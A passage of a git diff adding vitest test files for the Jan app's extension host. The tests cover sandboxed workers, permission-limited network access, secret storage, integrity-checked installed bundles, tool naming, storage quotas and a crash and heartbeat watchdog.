'@janhq/extension-runtime/testing'+import { ExtensionHost } from '../host'+import { extensionProviderName, listExtensionProviders } from '../providers'+import { listExtensionTools, toolWireName } from '../tools'+import { fakeHttp } from './fake-http'+import { memoryAppSettings, memorySecrets } from './memory'++// A path, not import.meta.url: under jsdom that URL is not a file: URL.+const SAMPLE = resolve(+ __dirname,+ '../../../../../extensions-samples/hello-provider'+)+const ID = 'jan-samples.hello-provider'++function loadSample(): { manifest: ValidatedManifest; bundle: string } {+ const result = validateManifest(+ JSON.parse(readFileSync(join(SAMPLE, 'package.json'), 'utf8'))+ )+ if (!result.ok) throw new Error(JSON.stringify(result.errors))+ return {+ manifest: result.manifest,+ bundle: readFileSync(join(SAMPLE, result.manifest.main), 'utf8'),+ }+}++let host: ExtensionHost+let worker: SandboxWorker | undefined+let notify: ReturnType<typeof vi.fn>+let server: ReturnType<typeof fakeHttp>++beforeEach(async () => {+ notify = vi.fn()+ server = fakeHttp(({ url }) =>+ url.endsWith('/chat/completions')+ ? {+ headers: { 'content-type': 'text/event-stream' },+ chunks: ['data: {"choices":[{"delta":{"content":"hi"}}]}\n\n', 'data: [DONE]\n\n'],+ }+ : { body: '{"data":[]}' }+ )+ worker = undefined+ host = new ExtensionHost({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ notify,+ http: server.http,+ createWorker: (source, name) => {+ worker = runInSandbox(source, { name })+ return worker+ },+ })+ const { manifest, bundle } = loadSample()+ const hosted = await host.spawnWorkerExtension({+ manifest,+ bundle,+ // What a consent dialog would grant: everything requested.+ grants: manifest.permissions,+ source: 'installed',+ })+ expect(hosted).toMatchObject({ id: ID, state: 'active', source: 'installed' })+})++afterEach(async () => {+ await host.deactivateAll()+ // Nothing the sample did may have reached a network global in the worker.+ expect(worker?.leaks).toEqual([])+ vi.restoreAllMocks()+})++const statusText = () =>+ host.contributions.getState().statusItems[ID]?.['hello.status']?.text++describe('hello-provider sample in a worker', () => {+ it('registers every contribution with the host', async () => {+ const state = host.contributions.getState()+ expect(state.extensions[ID]).toEqual({ displayName: 'Hello Provider' })+ expect(state.commands[ID]['hello.greet'].handler).toBeTypeOf('function')+ expect(state.commands[ID]['hello.ping'].handler).toBeTypeOf('function')+ expect(state.settings[ID].map((s) => s.key)).toEqual(['greeting'])+ expect(statusText()).toBe('Hello (0)')++ expect(listExtensionTools(state)).toMatchObject([+ {+ wireName: toolWireName(ID, 'echo_upper'),+ extensionId: ID,+ name: 'echo_upper',+ server: `ext:${ID}`,+ },+ ])+ expect(listExtensionProviders(state)).toEqual([+ {+ extensionId: ID,+ extensionName: 'Hello Provider',+ contribution: {+ id: 'hello-local',+ displayName: 'Hello Local',+ baseUrl: 'http://127.0.0.1:11999/v1',+ capabilities: ['completion', 'tools'],+ },+ },+ ])+ expect(extensionProviderName(ID, 'hello-local')).toBe(+ 'jan-samples.hello-provider/hello-local'+ )+ await expect(host.listProviderModels(ID, 'hello-local')).resolves.toEqual([+ { id: 'hello-1', displayName: 'Hello 1' },+ ])+ expect(host.dispatcher.has(ID, 'network:127.0.0.1')).toBe(true)+ })++ it('hello.greet notifies and updates the status item', async () => {+ await expect(+ host.contributions.executeCommand(ID, 'hello.greet', {+ location: 'commandPalette',+ })+ ).resolves.toBe('Hello from Hello Provider!')+ await vi.waitFor(() => expect(statusText()).toBe('Hello (1)'))+ await vi.waitFor(() =>+ expect(notify).toHaveBeenCalledWith({+ extensionName: 'Hello Provider',+ level: 'info',+ message: 'Hello from Hello Provider!',+ })+ )+ })++ it('follows a greeting change made in the host settings store', async () => {+ await host.settings.setSettingValue(ID, 'greeting', 'Hola')+ await vi.waitFor(() => expect(statusText()).toBe('Hola (0)'))+ await expect(+ host.contributions.executeCommand(ID, 'hello.greet', {+ location: 'statusItem',+ })+ ).resolves.toBe('Hola from Hello Provider!')+ await vi.waitFor(() => expect(statusText()).toBe('Hola (1)'))+ })++ it('echo_upper answers through callTool', async () => {+ await expect(+ host.callTool(ID, 'echo_upper', { text: 'hello jan' })+ ).resolves.toEqual({ content: [{ type: 'text', text: 'HELLO JAN' }] })+ await expect(+ host.callTool(ID, 'echo_upper', { text: 42 })+ ).resolves.toMatchObject({ error: expect.stringContaining('Expected') })+ })++ it('echo_upper is cancelled inside the worker when the chat stops', async () => {+ const info = vi.spyOn(console, 'info').mockImplementation(() => {})+ const stop = new AbortController()+ const pending = host.callTool(+ ID,+ 'echo_upper',+ { text: 'slow', delayMs: 10_000 },+ { signal: stop.signal }+ )+ await new Promise((r) => setTimeout(r, 20))+ stop.abort()+ await expect(pending).resolves.toMatchObject({+ error: expect.stringMatching(/cancel/i),+ })+ // The worker heard the cancellation and gave up its timer, rather than+ // the host merely ceasing to wait.+ await vi.waitFor(() =>+ expect(info).toHaveBeenCalledWith(`[ext:${ID}]`, 'echo_upper cancelled')+ )+ })++ it('reaches the network through the plugin, and nothing outside its grants', async () => {+ await expect(+ host.contributions.executeCommand(ID, 'hello.ping', {+ location: 'commandPalette',+ })+ ).resolves.toBe(200)+ expect(server.sent).toEqual([+ expect.objectContaining({+ extensionId: ID,+ req: expect.objectContaining({+ url: 'http://127.0.0.1:11999/v1/models',+ method: 'GET',+ }),+ }),+ ])+ await expect(+ host.contributions.executeCommand(+ ID,+ 'hello.ping',+ { location: 'commandPalette' },+ 'https://example.com'+ )+ ).rejects.toMatchObject({ code: 'E_PERMISSION' })+ expect(server.sent).toHaveLength(1)+ })++ it('streams provider inference through the plugin', async () => {+ const fetch = host.providerFetch(ID, 'stream')+ expect(fetch).toBeTypeOf('function')+ const response = await fetch!(+ 'http://127.0.0.1:11999/v1/chat/completions',+ { method: 'POST', body: '{"model":"hello-1","stream":true}' }+ )+ expect(await response.text()).toContain('"content":"hi"')+ expect(server.http.httpFetchStream).toHaveBeenCalledTimes(1)+ await host.terminate(ID)+ expect(host.providerFetch(ID, 'stream')).toBeUndefined()+ })++ it('terminate releases every registration', async () => {+ await host.terminate(ID)+ const state = host.contributions.getState()+ expect(state.commands[ID]).toBeUndefined()+ expect(state.tools[ID]).toBeUndefined()+ expect(state.providers[ID]).toBeUndefined()+ expect(worker?.terminated).toBe(true)+ })+})diff --git a/web-app/src/lib/extensions/__tests__/settings-store.test.ts b/web-app/src/lib/extensions/__tests__/settings-store.test.tsnew file mode 100644index 000000000..a0672e73d--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/settings-store.test.ts@@ -0,0 +1,126 @@+import { describe, expect, it, vi } from 'vitest'+import { ExtensionSettingsStore } from '../settings-store'+import { manifest } from './fixtures'+import { memoryAppSettings, memorySecrets } from './memory'++const withSettings = () =>+ manifest('acme.one', {+ contributes: {+ settings: [+ {+ key: 'greeting',+ title: 'Greeting',+ control: { type: 'input', default: 'Hello' },+ },+ {+ key: 'loud',+ title: 'Loud',+ control: { type: 'checkbox', default: false },+ },+ {+ key: 'level',+ title: 'Level',+ control: { type: 'slider', min: 0, max: 10, step: 1, default: 5 },+ },+ {+ key: 'mode',+ title: 'Mode',+ control: {+ type: 'dropdown',+ options: [+ { value: 'a', label: 'A' },+ { value: 'b', label: 'B' },+ ],+ default: 'a',+ },+ },+ {+ key: 'token',+ title: 'Token',+ secret: true,+ control: { type: 'input', default: '' },+ },+ ],+ },+ })++const setup = () => {+ const appSettings = memoryAppSettings()+ const secrets = memorySecrets()+ const store = new ExtensionSettingsStore({ appSettings, secrets })+ store.register(withSettings())+ return { appSettings, secrets, store }+}++describe('ExtensionSettingsStore', () => {+ it('falls back to the manifest default and undefined for unknown keys', async () => {+ const { store } = setup()+ expect(await store.getSettingValue('acme.one', 'greeting')).toBe('Hello')+ expect(await store.getSettingValue('acme.one', 'loud')).toBe(false)+ expect(await store.getSettingValue('acme.one', 'nope')).toBeUndefined()+ expect(await store.getSettingValue('acme.two', 'greeting')).toBeUndefined()+ })++ it('persists values as JSON under extension:<id>:settings', async () => {+ const { appSettings, secrets, store } = setup()+ await store.setSettingValue('acme.one', 'greeting', 'Hi')+ await store.setSettingValue('acme.one', 'level', 7)+ expect(+ JSON.parse(appSettings.data.get('extension:acme.one:settings') ?? '')+ ).toEqual({ greeting: 'Hi', level: 7 })++ const reloaded = new ExtensionSettingsStore({ appSettings, secrets })+ reloaded.register(withSettings())+ expect(await reloaded.getSettingValue('acme.one', 'greeting')).toBe('Hi')+ })++ it('keeps secrets in the keyring under ext:<id>:<key> and never in appSettings', async () => {+ const { appSettings, secrets, store } = setup()+ await store.setSettingValue('acme.one', 'token', 's3cret')+ expect(secrets.data.get('ext:acme.one:token')).toBe('s3cret')+ expect([...appSettings.data.values()].join()).not.toContain('s3cret')+ expect(await store.getSettingValue('acme.one', 'token')).toBe('s3cret')+ await store.setSettingValue('acme.one', 'token', '')+ expect(secrets.data.has('ext:acme.one:token')).toBe(false)+ })++ it('rejects undeclared keys and values that do not fit the control', async () => {+ const { store } = setup()+ const invalid = expect.objectContaining({ code: 'E_INVALID_ARGS' })+ await expect(+ store.setSettingValue('acme.one', 'nope', 'x')+ ).rejects.toEqual(expect.objectContaining({ code: 'E_NOT_FOUND' }))+ await expect(+ store.setSettingValue('acme.one', 'loud', 'yes')+ ).rejects.toEqual(invalid)+ await expect(+ store.setSettingValue('acme.one', 'level', 11)+ ).rejects.toEqual(invalid)+ await expect(+ store.setSettingValue('acme.one', 'mode', 'c')+ ).rejects.toEqual(invalid)+ })++ it('fires onDidChange once per changed key', async () => {+ const { store } = setup()+ const listener = vi.fn()+ store.onDidChange(listener)+ await store.setSettingValue('acme.one', 'loud', true)+ await store.setSettingValue('acme.one', 'token', 'x')+ expect(listener.mock.calls).toEqual([+ [{ extensionId: 'acme.one', key: 'loud', value: true }],+ [{ extensionId: 'acme.one', key: 'token', value: 'x' }],+ ])+ })++ it('serves nothing for an extension after its registration is disposed', async () => {+ const appSettings = memoryAppSettings()+ const store = new ExtensionSettingsStore({+ appSettings,+ secrets: memorySecrets(),+ })+ const registration = store.register(withSettings())+ registration.dispose()+ expect(await store.getSettingValue('acme.one', 'greeting')).toBeUndefined()+ })+})diff --git a/web-app/src/lib/extensions/__tests__/sha256.test.ts b/web-app/src/lib/extensions/__tests__/sha256.test.tsnew file mode 100644index 000000000..f3fa369dd--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/sha256.test.ts@@ -0,0 +1,31 @@+import { createHash } from 'node:crypto'+import { describe, expect, it } from 'vitest'+import { sha256Hex } from '../sha256'++const utf8 = (text: string) => new TextEncoder().encode(text)++describe('sha256Hex', () => {+ it('matches the FIPS 180-4 test vectors', () => {+ expect(sha256Hex(utf8(''))).toBe(+ 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'+ )+ expect(sha256Hex(utf8('abc'))).toBe(+ 'ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad'+ )+ expect(+ sha256Hex(utf8('abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq'))+ ).toBe('248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1')+ expect(sha256Hex(utf8('a'.repeat(1_000_000)))).toBe(+ 'cdc76e5c9914fb9281a1c7e284d73e67f1809a48a497200e046d39ccc7112cd0'+ )+ })++ it('agrees with node:crypto at every padding boundary', () => {+ for (let length = 0; length <= 130; length++) {+ const bytes = Uint8Array.from({ length }, (_, i) => (i * 31 + length) & 0xff)+ expect(sha256Hex(bytes), `length ${length}`).toBe(+ createHash('sha256').update(bytes).digest('hex')+ )+ }+ })+})diff --git a/web-app/src/lib/extensions/__tests__/smoke.installed.test.ts b/web-app/src/lib/extensions/__tests__/smoke.installed.test.tsnew file mode 100644index 000000000..61f03965a--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/smoke.installed.test.ts@@ -0,0 +1,188 @@+// The web-app half of the end-to-end smoke install (`make+// test-extensions-smoke`). tests/smoke.rs of tauri-plugin-extensions+// installed the packed sample into JAN_EXT_SMOKE_ROOT; this reads that+// root from disk the way `list` and `read_entry` return it, loads it+// through the installed loader into the real host (workers in the node:vm+// sandbox), and checks what the extension registered.+import { createHash } from 'node:crypto'+import { readFileSync } from 'node:fs'+import { join } from 'node:path'+import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest'+import {+ runInSandbox,+ type SandboxWorker,+} from '@janhq/extension-runtime/testing'+import type {+ ExtensionSource,+ InstalledExtension,+} from '@janhq/tauri-plugin-extensions-api'+import { ExtensionHost } from '../host'+import type { InstalledRegistry } from '../installed-loader'+import { listExtensionProviders } from '../providers'+import { listExtensionTools, toolWireName } from '../tools'+import { fakeHttp } from './fake-http'+import { memoryAppSettings, memorySecrets } from './memory'++const ROOT = process.env.JAN_EXT_SMOKE_ROOT+const ID = 'jan-samples.hello-provider'++interface RegistryEntry {+ enabled: boolean+ active: string+ previous?: string+ granted: string[]+ source: ExtensionSource+ verified: boolean+ integrityChecked: boolean+ main: string+ permissions: string[]+ entrySha512: string+ installedAt: string+}++interface RegistryFile {+ schema: number+ safeMode: boolean+ extensions: Record<string, RegistryEntry>+}++const sri = (bytes: Buffer) =>+ `sha512-${createHash('sha512').update(bytes).digest('base64')}`++/**+ * The guest-js `list` and `read_entry` over the files on disk, with the+ * same checks: read_entry refuses a disabled extension, safe mode and an+ * entry whose hash no longer matches the registry.+ */+function diskRegistry(root: string): InstalledRegistry {+ const load = (): RegistryFile =>+ JSON.parse(readFileSync(join(root, 'extensions.json'), 'utf8'))+ const versionDir = (id: string, version: string) => join(root, id, version)+ return {+ list: async () => {+ const file = load()+ const extensions: InstalledExtension[] = Object.entries(+ file.extensions+ ).map(([id, e]) => ({+ id,+ version: e.active,+ previous: e.previous ?? null,+ enabled: e.enabled,+ granted: e.granted,+ permissions: e.permissions,+ source: e.source,+ verified: e.verified,+ integrityChecked: e.integrityChecked,+ installedAt: e.installedAt,+ manifest: JSON.parse(+ readFileSync(join(versionDir(id, e.active), 'package.json'), 'utf8')+ ),+ }))+ return {+ safeMode: file.safeMode,+ safeModeForced: false,+ recoveredFrom: null,+ extensions,+ }+ },+ readEntry: async (id) => {+ const file = load()+ const e = file.extensions[id]+ if (file.safeMode || !e?.enabled)+ throw { kind: 'denied', message: `${id} may not run` }+ const bytes = readFileSync(join(versionDir(id, e.active), e.main))+ const sha512 = sri(bytes)+ if (sha512 !== e.entrySha512)+ throw { kind: 'tampered', message: `the entry file of ${id} changed` }+ return { code: bytes.toString('utf8'), sha512 }+ },+ }+}++describe.runIf(ROOT)('smoke: the installed sample bundle', () => {+ let host: ExtensionHost+ let worker: SandboxWorker | undefined+ const notify = vi.fn()+ const server = fakeHttp(() => ({ body: '{"data":[]}' }))++ beforeAll(async () => {+ host = new ExtensionHost({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ notify,+ http: server.http,+ installed: diskRegistry(ROOT!),+ createWorker: (source, name) => {+ worker = runInSandbox(source, { name })+ return worker+ },+ })+ await host.loadInstalled()+ })++ afterAll(async () => {+ await host.deactivateAll()+ expect(worker?.leaks).toEqual([])+ })++ it('loads it as an active installed extension with its grants', () => {+ expect(host.list()).toEqual([+ expect.objectContaining({ id: ID, source: 'installed', state: 'active' }),+ ])+ for (const p of ['ui:notify', 'tools', 'providers', 'network:127.0.0.1'])+ expect(host.dispatcher.has(ID, p)).toBe(true)+ })++ it('registers its command, setting, status item, tool and provider', () => {+ const state = host.contributions.getState()+ expect(Object.keys(state.commands[ID]).sort()).toEqual([+ 'hello.greet',+ 'hello.ping',+ ])+ expect(state.settings[ID].map((s) => s.key)).toEqual(['greeting'])+ expect(state.statusItems[ID]['hello.status']?.text).toBe('Hello (0)')+ expect(listExtensionTools(state)).toEqual([+ expect.objectContaining({+ wireName: toolWireName(ID, 'echo_upper'),+ name: 'echo_upper',+ }),+ ])+ expect(listExtensionProviders(state)).toEqual([+ expect.objectContaining({+ extensionId: ID,+ contribution: expect.objectContaining({+ id: 'hello-local',+ baseUrl: 'http://127.0.0.1:11999/v1',+ }),+ }),+ ])+ })++ it('round-trips a tool call through the worker', async () => {+ await expect(+ host.callTool(ID, 'echo_upper', { text: 'smoke' })+ ).resolves.toEqual({ content: [{ type: 'text', text: 'SMOKE' }] })+ })++ it('runs its command and reaches the network only through the plugin', async () => {+ await expect(+ host.contributions.executeCommand(ID, 'hello.greet', {+ location: 'commandPalette',+ })+ ).resolves.toBe('Hello from Hello Provider!')+ await expect(+ host.contributions.executeCommand(ID, 'hello.ping', {+ location: 'commandPalette',+ })+ ).resolves.toBe(200)+ expect(server.sent).toEqual([+ expect.objectContaining({+ extensionId: ID,+ req: expect.objectContaining({ url: 'http://127.0.0.1:11999/v1/models' }),+ }),+ ])+ await expect(host.listProviderModels(ID, 'hello-local')).resolves.toEqual([+ { id: 'hello-1', displayName: 'Hello 1' },+ ])+ })+})diff --git a/web-app/src/lib/extensions/__tests__/storage.test.ts b/web-app/src/lib/extensions/__tests__/storage.test.tsnew file mode 100644index 000000000..2bd679a27--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/storage.test.ts@@ -0,0 +1,47 @@+import { describe, expect, it } from 'vitest'+import { createExtensionStorage, STORAGE_QUOTA_BYTES } from '../storage'+import { memoryAppSettings } from './memory'++describe('createExtensionStorage', () => {+ it('stores JSON values under extension:<id>:storage', async () => {+ const backend = memoryAppSettings()+ const storage = createExtensionStorage('acme.one', backend)+ await storage.set('a', { n: 1 })+ await storage.set('b', [true])+ expect(await storage.get('a')).toEqual({ n: 1 })+ expect(await storage.keys()).toEqual(['a', 'b'])+ expect(+ JSON.parse(backend.data.get('extension:acme.one:storage') ?? '')+ ).toEqual({ a: { n: 1 }, b: [true] })+ await storage.delete('a')+ expect(await storage.get('a')).toBeUndefined()+ expect(await createExtensionStorage('acme.one', backend).keys()).toEqual([+ 'b',+ ])+ })++ it('rejects a write that would exceed the quota and keeps the old data', async () => {+ const backend = memoryAppSettings()+ const storage = createExtensionStorage('acme.one', backend)+ await storage.set('small', 'x')+ await expect(+ storage.set('big', 'x'.repeat(STORAGE_QUOTA_BYTES))+ ).rejects.toMatchObject({ code: 'E_TOO_LARGE' })+ expect(await storage.keys()).toEqual(['small'])+ })++ it('serializes concurrent writes so none is lost', async () => {+ const backend = memoryAppSettings()+ const storage = createExtensionStorage('acme.one', backend)+ await Promise.all([+ storage.set('a', 1),+ storage.set('b', 2),+ storage.set('c', 3),+ ])+ expect(await createExtensionStorage('acme.one', backend).keys()).toEqual([+ 'a',+ 'b',+ 'c',+ ])+ })+})diff --git a/web-app/src/lib/extensions/__tests__/tools.test.ts b/web-app/src/lib/extensions/__tests__/tools.test.tsnew file mode 100644index 000000000..a8256b0f7--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/tools.test.ts@@ -0,0 +1,110 @@+import { createHash } from 'node:crypto'+import { describe, expect, it } from 'vitest'+import type { ContributionState } from '../contributions'+import { listExtensionTools, toToolOutcome, toolWireName } from '../tools'++const tool = (name: string, bound = true) => ({+ name,+ description: name,+ inputSchema: { type: 'object' as const },+ handler: bound+ ? async () => ({ content: [] })+ : undefined,+})++const state = (+ tools: ContributionState['tools']+): ContributionState => ({+ extensions: {},+ commands: {},+ menus: {},+ statusItems: {},+ settings: {},+ tools,+ providers: {},+})++describe('toolWireName', () => {+ it('is x_<80-bit SHA-256 of id and name>__<name>, within 64 provider-safe characters', () => {+ const name = toolWireName('jan-samples.hello-provider', 'echo_upper')+ const digest = createHash('sha256')+ .update('jan-samples.hello-provider\u0000echo_upper')+ .digest('hex')+ expect(name).toBe(`x_${digest.slice(0, 20)}__echo_upper`)+ expect(toolWireName('acme.one', 'say hi!')).toMatch(/^x_[0-9a-f]{20}__say_hi_$/)+ const long = toolWireName('acme.' + 'a'.repeat(38), 'b'.repeat(64))+ expect(long).toHaveLength(64)+ expect(long).toMatch(/^[A-Za-z0-9_-]+$/)+ })++ it('keeps ids and names apart that sanitize or truncate to the same text', () => {+ // Both used to be x_acme_x_foo__t.+ expect(toolWireName('acme-x.foo', 't')).not.toBe(toolWireName('acme.x-foo', 't'))+ expect(toolWireName('acme.one', 'a.b')).not.toBe(toolWireName('acme.one', 'a_b'))+ const long = 'n'.repeat(60)+ expect(toolWireName('acme.one', `${long}1`)).not.toBe(+ toolWireName('acme.one', `${long}2`)+ )+ })+})++describe('listExtensionTools', () => {+ it('lists bound tools only, sorted, under their own wire names', () => {+ const tools = listExtensionTools(+ state({+ 'acme.two': { b: tool('b'), a: tool('a') },+ 'acme.one': { echo: tool('echo'), idle: tool('idle', false) },+ })+ )+ expect(tools.map((t) => [t.extensionId, t.name])).toEqual([+ ['acme.one', 'echo'],+ ['acme.two', 'a'],+ ['acme.two', 'b'],+ ])+ for (const t of tools)+ expect(t.wireName).toBe(toolWireName(t.extensionId, t.name))+ expect(tools[0].server).toBe('ext:acme.one')+ })++ it('never moves a wire name to another extension when one loads', () => {+ const before = listExtensionTools(state({ 'acme.x-foo': { t: tool('t') } }))+ const after = listExtensionTools(+ state({ 'acme-x.foo': { t: tool('t') }, 'acme.x-foo': { t: tool('t') } })+ )+ const owner = (list: typeof after, wireName: string) =>+ list.find((t) => t.wireName === wireName)?.extensionId+ expect(owner(after, before[0].wireName)).toBe('acme.x-foo')+ expect(new Set(after.map((t) => t.wireName)).size).toBe(2)+ })+})++describe('toToolOutcome', () => {+ it('serializes json parts and caps the total length', () => {+ expect(+ toToolOutcome(+ {+ content: [+ { type: 'text', text: 'abc' },+ { type: 'json', value: { a: 1 } },+ ],+ },+ 6+ )+ ).toEqual({+ content: [+ { type: 'text', text: 'abc' },+ { type: 'text', text: '{"a' },+ ],+ })+ })++ it('reports isError and malformed results as errors', () => {+ expect(+ toToolOutcome({ content: [{ type: 'text', text: 'bad input' }], isError: true })+ ).toEqual({ error: 'bad input' })+ expect(toToolOutcome({ content: 'nope' })).toMatchObject({+ error: expect.any(String),+ })+ expect(toToolOutcome(undefined)).toMatchObject({ error: expect.any(String) })+ })+})diff --git a/web-app/src/lib/extensions/__tests__/watchdog.test.ts b/web-app/src/lib/extensions/__tests__/watchdog.test.tsnew file mode 100644index 000000000..d75e23d4c--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/watchdog.test.ts@@ -0,0 +1,512 @@+// The liveness side of the worker runtime: heartbeats, crash accounting and+// what the host does with a worker that stops answering or misbehaves after+// it started. Busy workers are modelled by a fake WorkerLike that never+// pongs: a real busy loop would block the test runner too.+import { afterEach, describe, expect, it, vi } from 'vitest'+import type { ValidatedManifest } from '@janhq/extension-api'+import type { WorkerLike } from '@janhq/extension-runtime'+import {+ runInSandbox,+ type SandboxWorker,+} from '@janhq/extension-runtime/testing'+import type {+ InstalledExtension,+ ListResult,+} from '@janhq/tauri-plugin-extensions-api'+import { ExtensionHost } from '../host'+import type { InstalledRegistry } from '../installed-loader'+import { MESSAGE_BURST } from '../worker-runtime'+import {+ CRASH_LIMIT,+ CRASH_WINDOW_MS,+ MAX_MISSED_PONGS,+ FAILED_STARTS_KEY,+ MAX_FAILED_STARTS,+ PING_INTERVAL_MS,+ START_GRACE_MS,+ crashCounter,+ loadWithCrashLoopGuard,+ startHeartbeat,+} from '../watchdog'+import { manifest } from './fixtures'+import { memoryAppSettings, memorySecrets } from './memory'++afterEach(() => {+ vi.useRealTimers()+ vi.restoreAllMocks()+})++describe('startHeartbeat', () => {+ it('pings every interval and declares the worker dead after the missed pongs', () => {+ vi.useFakeTimers()+ const sent: number[] = []+ const onDead = vi.fn()+ startHeartbeat({ ping: (n) => sent.push(n), onDead })+ vi.advanceTimersByTime(PING_INTERVAL_MS * MAX_MISSED_PONGS)+ expect(sent).toEqual([1, 2, 3])+ expect(onDead).not.toHaveBeenCalled()+ vi.advanceTimersByTime(PING_INTERVAL_MS)+ expect(onDead).toHaveBeenCalledTimes(1)+ // Nothing more once it is dead.+ vi.advanceTimersByTime(PING_INTERVAL_MS * 5)+ expect(sent).toHaveLength(3)+ expect(onDead).toHaveBeenCalledTimes(1)+ })++ it('keeps a worker that answers alive', async () => {+ vi.useFakeTimers()+ const onDead = vi.fn()+ const heartbeat = startHeartbeat({+ ping: (n) => queueMicrotask(() => heartbeat.pong(n)),+ onDead,+ })+ await vi.advanceTimersByTimeAsync(PING_INTERVAL_MS * 20)+ expect(onDead).not.toHaveBeenCalled()+ heartbeat.dispose()+ })++ it('ignores a pong for a ping it never sent', () => {+ vi.useFakeTimers()+ const onDead = vi.fn()+ const heartbeat = startHeartbeat({ ping: () => {}, onDead })+ for (let i = 0; i <= MAX_MISSED_PONGS; i++) {+ heartbeat.pong(999)+ vi.advanceTimersByTime(PING_INTERVAL_MS)+ }+ expect(onDead).toHaveBeenCalledTimes(1)+ })++ it('stops pinging once disposed', () => {+ vi.useFakeTimers()+ const ping = vi.fn()+ const onDead = vi.fn()+ startHeartbeat({ ping, onDead }).dispose()+ vi.advanceTimersByTime(PING_INTERVAL_MS * 10)+ expect(ping).not.toHaveBeenCalled()+ expect(onDead).not.toHaveBeenCalled()+ })+})++describe('crashCounter', () => {+ it('trips on the third crash within the window, per extension', () => {+ let now = 0+ const crashed = crashCounter(() => now)+ expect(crashed('a')).toBe(false)+ now += 1000+ expect(crashed('a')).toBe(false)+ expect(crashed('b')).toBe(false)+ now += 1000+ expect(crashed('a')).toBe(true)+ expect(CRASH_LIMIT).toBe(3)+ })++ it('forgets crashes older than the window', () => {+ let now = 0+ const crashed = crashCounter(() => now)+ crashed('a')+ crashed('a')+ now += CRASH_WINDOW_MS + 1+ expect(crashed('a')).toBe(false)+ })+})++/**+ * A worker that starts, then answers pings only while `alive`; a stand-in+ * for one stuck in a busy loop, which cannot answer anything.+ */+function fakeWorker() {+ const listeners = new Set<(e: { data: unknown }) => void>()+ const state = { alive: true, terminated: false, pings: 0 }+ const emit = (data: unknown) =>+ queueMicrotask(() => {+ if (!state.terminated) for (const l of [...listeners]) l({ data })+ })+ const worker: WorkerLike = {+ postMessage: (message) => {+ const m = message as { t: string; n?: number }+ if (m.t === 'init') emit({ v: 1, t: 'ready' })+ if (m.t === 'ping') {+ state.pings+++ if (state.alive) emit({ v: 1, t: 'pong', n: m.n })+ }+ },+ addEventListener: (type: string, l: (e: never) => void) => {+ if (type === 'message') listeners.add(l as (e: { data: unknown }) => void)+ },+ removeEventListener: (type: string, l: (e: never) => void) => {+ if (type === 'message')+ listeners.delete(l as (e: { data: unknown }) => void)+ },+ terminate: () => {+ state.terminated = true+ },+ }+ return { worker, state }+}++const BUNDLE = 'var JanExtension = { activate: function () {} };'++function newHost(+ createWorker: (source: string, name: string) => WorkerLike,+ installed?: InstalledRegistry+) {+ const notify = vi.fn()+ const host = new ExtensionHost({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ notify,+ installed,+ createWorker,+ })+ return { host, notify }+}++const spawn = (host: ExtensionHost, m: ValidatedManifest) =>+ host.spawnWorkerExtension({+ manifest: m,+ bundle: BUNDLE,+ grants: [],+ source: 'dev',+ })++// Long enough for the heartbeat to give up on a silent worker.+const UNTIL_DEAD = PING_INTERVAL_MS * (MAX_MISSED_PONGS + 1)++describe('the host watchdog', () => {+ it('terminates a worker that stops answering pings and marks it crashed', async () => {+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ vi.useFakeTimers()+ const fake = fakeWorker()+ const { host } = newHost(() => fake.worker)+ const m = manifest('acme.busy')+ expect((await spawn(host, m)).state).toBe('active')++ // Answering: still running after many intervals.+ await vi.advanceTimersByTimeAsync(PING_INTERVAL_MS * 10)+ expect(fake.state.terminated).toBe(false)+ expect(host.list()[0].state).toBe('active')++ fake.state.alive = false+ await vi.advanceTimersByTimeAsync(UNTIL_DEAD)+ expect(fake.state.terminated).toBe(true)+ await vi.waitFor(() =>+ expect(host.list()[0]).toMatchObject({+ state: 'crashed',+ error: expect.stringMatching(/stopped responding/),+ })+ )+ // Everything it registered is released.+ expect(host.dispatcher.has('acme.busy', 'tools')).toBe(false)+ })++ it('marks a worker that floods the host after it started as crashed', async () => {+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ vi.spyOn(console, 'info').mockImplementation(() => {})+ const workers: SandboxWorker[] = []+ const { host: flooding } = newHost((source, name) => {+ const worker = runInSandbox(source, { name })+ workers.push(worker)+ return worker+ })+ const hosted = await flooding.spawnWorkerExtension({+ manifest: manifest('acme.flood'),+ bundle: `var JanExtension = { activate: function () {+ setTimeout(function () {+ for (var i = 0; i < ${MESSAGE_BURST * 4}; i++)+ self.postMessage({ v: 1, t: 'req', id: i + 1, method: 'log', args: ['info', 'x'] });+ }, 10);+ } };`,+ grants: [],+ source: 'dev',+ })+ expect(hosted.state).toBe('active')+ await vi.waitFor(() => expect(workers[0].terminated).toBe(true))+ await vi.waitFor(() => expect(flooding.list()[0].state).toBe('crashed'))+ })++ it('disables an extension for the session after three crashes in ten minutes', async () => {+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ vi.spyOn(console, 'error').mockImplementation(() => {})+ vi.useFakeTimers()+ let current = fakeWorker()+ const { host, notify } = newHost(() => {+ current = fakeWorker()+ return current.worker+ })+ const m = manifest('acme.crashy', { displayName: 'Crashy' })+ for (let i = 0; i < CRASH_LIMIT; i++) {+ expect((await spawn(host, m)).state).toBe('active')+ current.state.alive = false+ await vi.advanceTimersByTimeAsync(UNTIL_DEAD)+ await vi.waitFor(() => expect(host.list()[0].state).toBe('crashed'))+ }+ expect(notify).toHaveBeenCalledTimes(1)+ expect(notify).toHaveBeenCalledWith({+ extensionName: 'Crashy',+ level: 'error',+ message: expect.stringMatching(/until Jan restarts/),+ })+ // Refused for the rest of the session, without a worker.+ const created = current+ const again = await spawn(host, m)+ expect(again).toMatchObject({+ state: 'failed',+ error: expect.stringMatching(/disabled for this session/),+ })+ expect(current).toBe(created)+ })++ it('restarts a crashed installed extension from the registry', async 